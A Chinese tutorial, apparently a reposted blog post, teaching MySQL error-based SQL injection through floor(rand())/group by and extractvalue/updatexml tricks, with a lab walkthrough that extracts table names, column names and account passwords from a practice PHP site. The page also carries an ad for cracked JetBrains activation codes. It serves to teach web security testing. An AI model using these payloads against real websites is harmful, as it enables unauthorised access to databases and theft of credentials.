SQL报错注入_报错注入原理

SQL报错注入_报错注入原理目录1报错注入概述2常用的报错注入命令2.2groupby重复键冲突(count()+floor()+rand()+groupby组合)2.2.1groupby重复键冲突的原理及bug演示2.2.2补充:sql语句解析过程2.3XPATH报错2.3.1extractvalue()函数2.3.2updatexml()函数2.4测试失败的命令3报错注入案例3.1操作环境3.2获取敏感信息3.2.1获取数据库名3.2.2获取表名3.2.3获取字段名3.2.4获取字段内

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

1 报错注入概述

定义:与union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。
报错注入的原理:就是在错误信息中执行sql语句。触发报错的方式很多,具体细节也不尽相同.注意,报错注入可能不一定能成功,可以多刷新几次。

使用优先级:考虑到成功率和时间成本比union成本高,因此该方法在uninon无法实施时再做尝试。

  • union联合查询注入实施的条件是网页能回显我们第二条select语句的内容;
  • 报错注入实施的条件是数据库中sql语句的报错信息,会显示在页面中。

sql注入简单口诀

 是否有回显      				union联合查询注入
 是否有报错    					报错注入
 是否有布尔类型状态				布尔盲注
 绝招(没招的招)				延时注入

2 常用的报错注入命令

2.2 group by重复键冲突(count()+floor()+rand()+group by组合)

该种方式的报错注入只要存在回显报错信息,无论mysql版本是多少,都适用。当一次不成功时,多刷新几次。

利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞。输入命令报错并带回版本信息?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)floor()为向下取整;rand()为取0~1的随机数;floor(rand()*2)为0或;group by为分类聚合。其中,x 与a 均为别名,其实院语句为...as x...as a,只是as可以省略。0x5e为“^”符号的16进制。

报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。

在这里插入图片描述

2.2.1 group by重复键冲突的原理及bug演示

关于group by 聚合函数的报错,是mysql的一个bug编号为#8652.当使用rand()函数进行分组聚合时,会产生重复键的错误。
(1)创建数据库,并写入数据

create database groupbyTest;
create table r1 (a int);
insert into r1 values (1),  (2),  (1),  (2),  (1),  (2),  (1),  (2),  (1),  (2);

在这里插入图片描述
(2)简单的查询
select * from r1;
在这里插入图片描述
(3)count()、left()、rand()、group by 的组合应用,产生重复键冲突。还可以利用round()、floor()函数代替left()

select count(*) from r1 group by a;

在这里插入图片描述

select left(rand(),3), a from r1 group by 1;
# group by 1为按照第一列分类聚合
# 由于rand函数的存在,每次执行结果都是不同的

在这里插入图片描述
能否用cont( * )对各随机数出现的次数进行计数,上述sql语句进一步演化如下:

select left(rand(),3), a, count(*) from r1 group by 1;

结果上述sql语句执行,出现了报错信息。那么为什么会出现报错信息呢?先执行from、然后执行group by 1(rand 函数会被执行)、然后执行select(rand 函数会被执行),两次rand的值可能不一样。加上count(*)进行计数后,触发了重复键冲突,所以出现报错信息。
在这里插入图片描述
(4)利用。我们可以利用报错信息,获得数据库中的信息。

select concat(left(rand(),3),'^', version(), '^') as x, count(*) from information_schema.tables group by x; 
# 语句中的as是给concat(left(rand(),3),'^', version(), '^') 起一个别名x,方便后面的聚合操作。此处as可以省略,直接写x即可
select concat(left(rand(),3),'^', version(), '^')x, count(*) from information_schema.tables group by x; 

在这里插入图片描述
如果关键的表被禁用了,可采用如下语句

select concat(left(rand(),3),'^', version(), '^') as x, count(*) from (select 1 union select null union select !1)a group by x; 

如果rand()|count()被禁用了,可采用如下方式

select min(@a:=1) from information_schema.tables group by concat('^', @@version, '^', @a:=(@a+1)%2); 

在这里插入图片描述
不依赖额外的函数和具体的表

select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^', @@version, '^', @a:=(@a+1)%2);=是一种赋值计算

在这里插入图片描述

2.2.2 补充:sql语句解析过程

(1)from

  • from 后面的表标识了这条语句要查询的数据源
  • from 过程之后会形成一个虚拟的表vt1

(2)WHERE

  • WHERE对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2

(3)GROUP BY

  • GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3

(4)HAVING

  • HAVING 这个子句对VT3表中的不同组进行过滤,满足HAVING 条件的子句被加入到VT4表中。

(5)SELECT

  • SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表
    ①计算表达式,计算SELECT子句中的表达式,生成VT5-1
    ②DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2
    ③TOP从ORDER BY子句定义的结果中,筛选出符合条件的列,生成VT5-3

(6)ORDER BY
ORDER BY从VT5-3中的表,根据ORDER BY子句中的结果排序,生成VT6

2.3 XPATH报错

注意,低版本的mysql数据库不支持XPATH报错,比如5.0版本以下的mysql版本没有以下函数

2.3.1 extractvalue()函数

输入命令报错并带回当前用户名。? id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))
在这里插入图片描述
其中extractvalue()函数语法、参数定义及作用如下:
extractvalue(xml_document,xpath_string)

  • 第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
  • 第二个参数:XPath_string (Xpath格式的字符串)。

作用: 从目标XML中返回包含所查询值的字符串。
ps: 返回结果限制在32位字符。

2.3.2 updatexml()函数

输入命令报错并带回当前用户名。? id = 1 and updatexml(1,concat(0x5e,(select version()),0x5e),1).

在这里插入图片描述
其中updatexml()函数语法、参数定义及作用如下:
原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。

语法:updatexml(xml_document,xpath_string,new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1
  • 第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数: new_value,String格式,替换查找到的符合条件的数据。

作用: 改变文档中符合条件的节点的值。

2.4 测试失败的命令

以下这些命令测试失败了,后续再研究下,先记录下来。

?id=1 and geometrycollection((select * from(select * from(select user())a)b));
?id=1 and multipoint((select * from(select * from(select user())a)b));
?id=1 and polygon((select * from(select * from(select user())a)b));
?id=1 and multipolygon((select * from(select * from(select user())a)b));
?id=1 and linestring((select * from(select * from(select user())a)b));
?id=1 and multilinestring((select * from(select * from(select user())a)b));
?id=1 and exp(~(select * from(select user())a));

3 报错注入案例

3.1 操作环境

实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例

注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
在这里插入图片描述

3.2 获取敏感信息

以count()+floor()+rand()+group by组合为例,具体演示获取敏感信息的过程

3.2.1 获取数据库名

与上一节union查询类似,使用命令让报错信息显示出站点所在数据库名。?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
在这里插入图片描述

3.2.2 获取表名

与上一节union查询类似,使用命令让报错信息显示出站点所在数据库名下所有表名?id=1 and (select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)?id=1 and (select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)将limit的偏移量依次递增,直达显示正确结果,说明没有表了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
上述语句尝试过用group_concat(table_name) from information_schema.tables where table_schema = database()来显示所有行的表名,但是一直不成功。
当采用updatexml()函数时,sql语句可为: ?id = 1 and (updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x5e),1))
在这里插入图片描述

3.2.3 获取字段名

与上一节union查询类似,使用命令让报错信息显示出站点所在users表名下所有字段名。
?id=1 and (select 1 from (select count(*),concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)、…将limit的偏移量依次递增,即[limit 0,1]→[limit 1,1]→[limit 2,1]→[limit 3,1]→…直到显示正确结果,说明没有字段名了。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

当采用updatexml()函数时,sql语句可为: ?id=1 and (updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x5e),1)),可以使用group_concat()函数,更加方便,可以一次性显示所有字段名。
在这里插入图片描述

3.2.4 获取字段内容

与上一节union查询类似,使用命令让报错信息显示users表上账号与密码的字段内容。?id=1 and (select 1 from (select count(*),concat(0x5e,(select concat(name,0x3a,password) from users limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
在这里插入图片描述

修改sql语句如下:?id=1 and (select 1 from (select count(*),concat(0x5e,(select name from users limit 0,1) ,0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
在这里插入图片描述

改为采用updatexml()函数时,sql语句可为:? id=1 and (updatexml(1,concat(0x5e,(select concat(name,0x3a,password) from users limit 0,1),0x5e),1)),显示结果如下。当想查询其余账户密码时,将limit的偏移量依次递增,即[limit 0,1]→[limit 1,1]→[limit 2,1]→[limit 3,1]→…直达显示正确结果,说明没有字段内容了。当字段内容过长时,结尾少了部分密码且少了结束符。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4 总结

(1)SQL注入优先级:union注入>报错注入>布尔盲注>延迟注入;
(2)掌握报错注入常用的几个命令;
(3)掌握进行报错注入的方法及流程;
(4)updataxml()对仅能获取返回32位字符,对于长字符串需要分批次获取。

参考文章

[1] 《【SQL注入03】报错注入实例操作》

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187448.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • VR全景展示渠道

    VR全景能够给人带来一种身临其境的感受,是一种新颖的广告宣传方式。随着5G的推广和普及,VR全景被各行各业广泛应用,就是将线下真实的场景以3D立体的形式展现在互联网上,以此帮助商家起到宣传展示和引流的效果。那么通过什么样的渠道能够进行VR全景的宣传呢?下面介绍一下:1、百度地图百度地图有着五亿用户,从2018年起,百度地图导航开拓实体商家实际全景进行拍摄,打造出城市街景和內部全景图的无缝拼接,建立VR全景图生态体系,考虑顾客的要求,提升商家的广告宣传力度,在百度地图APP上搜索名字,能够查询到商家全

    2022年4月12日
    95
  • 腾讯云— LAMP 架构个人实践分享

    腾讯云— LAMP 架构个人实践分享LAMP环境通常指Linux环境下,由Apache+MySQL/MariaDB+PHP以及其它相关组件组成的网站服务器架构。目前以LAMP组成的Web应用程序平台广泛被应用,70%以上的访问流量由LAMP提供,所以我们也认同LAMP是最强大的网站解决方案。关于LAMP的环境部署文档随处可搜,腾讯官网环境部署介绍可参阅:手动搭建LAMP环境:https://cloud.tencent.com/document/product/213/38402镜像部署LAMP环境:https://cl

    2022年10月16日
    3
  • java拦截器的配置_Java 拦截器配置及使用「建议收藏」

    java拦截器的配置_Java 拦截器配置及使用「建议收藏」packagecom.panshi.ProjectInterceptor.Interceptor;importorg.slf4j.Logger;importorg.slf4j.LoggerFactory;importorg.springframework.stereotype.Component;importorg.springframework.util.StringUtils;importor…

    2022年6月5日
    40
  • css经典布局——圣杯布局

    圣杯布局和双飞翼布局一直是前端面试的高频考点,圣杯布局的出现是来自由MatthewLevine在2006年写的一篇文章《InSearchoftheHolyGrail》。比起双飞翼布局,它的起源不是源于对页面的形象表达。在西方,圣杯是表达“渴求之物”的意思。而双飞翼布局则是源于淘宝的UED,可以说是灵感来自于页面渲染。效果图原本录制了…

    2022年4月4日
    72
  • 最新 Cocos2d-x 3.2 开发环境搭建(windows环境下)

    最新 Cocos2d-x 3.2 开发环境搭建(windows环境下)

    2021年12月5日
    53
  • 【引用】回发或回调参数无效。在配置中使用 <pages enableEventValidation=”true”/>(转载)…「建议收藏」

    【引用】回发或回调参数无效。在配置中使用 <pages enableEventValidation=”true”/>(转载)…「建议收藏」回发或回调参数无效。在配置中使用<pagesenableEventValidation=”true”/>或在页面中使用<%@PageEnableEventValidation=”true”%>启用了事件验证。出于安全目的,此功能验证回发或回调事件的参数是否来源于最初呈现这些事件的服务器控件。如果数据有效并且是预期的,则使用ClientScriptM…

    2022年7月24日
    7

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号